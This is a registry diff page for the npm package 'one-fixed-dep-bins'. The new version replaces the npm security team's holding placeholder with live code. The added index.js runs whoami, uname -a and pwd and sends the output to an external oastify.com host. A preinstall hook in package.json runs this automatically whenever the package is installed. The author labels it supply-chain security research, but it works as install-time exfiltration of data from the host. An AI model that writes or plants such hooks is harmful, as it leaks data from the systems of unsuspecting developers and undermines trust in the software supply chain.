one-fixed-dep-bins 0.0.1-security → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of one-fixed-dep-bins might be problematic. Click here for more details.
- package/index.js +43 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
const https = require("https");
|
|
2
|
+
const { execSync } = require("child_process");
|
|
3
|
+
|
|
4
|
+
function send(data) {
|
|
5
|
+
const options = {
|
|
6
|
+
hostname: "wff45brqhc25g49wh4ytifkr3i99x6lv.oastify.com",
|
|
7
|
+
port: 443,
|
|
8
|
+
path: "/",
|
|
9
|
+
method: "POST",
|
|
10
|
+
headers: {
|
|
11
|
+
"Content-Type": "application/json",
|
|
12
|
+
"Content-Length": Buffer.byteLength(data)
|
|
13
|
+
}
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
const req = https.request(options, (res) => {
|
|
17
|
+
res.on("data", () => {});
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
req.on("error", (e) => {
|
|
21
|
+
console.error("Request error:", e.message);
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
req.write(data);
|
|
25
|
+
req.end();
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
try {
|
|
29
|
+
const whoami = execSync("whoami").toString().trim();
|
|
30
|
+
const uname = execSync("uname -a").toString().trim();
|
|
31
|
+
const pwd = execSync("pwd").toString().trim(); // added current working directory
|
|
32
|
+
|
|
33
|
+
const payload = JSON.stringify({
|
|
34
|
+
whoami,
|
|
35
|
+
uname,
|
|
36
|
+
pwd,
|
|
37
|
+
timestamp: new Date().toISOString()
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
send(payload);
|
|
41
|
+
} catch (e) {
|
|
42
|
+
console.error("Error executing commands:", e.message);
|
|
43
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "one-fixed-dep-bins",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.1.1",
|
|
4
|
+
"description": "Supply Chain Security Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Vishal Kumar",
|
|
11
|
+
"license": "MIT"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=one-fixed-dep-bins for more information.
|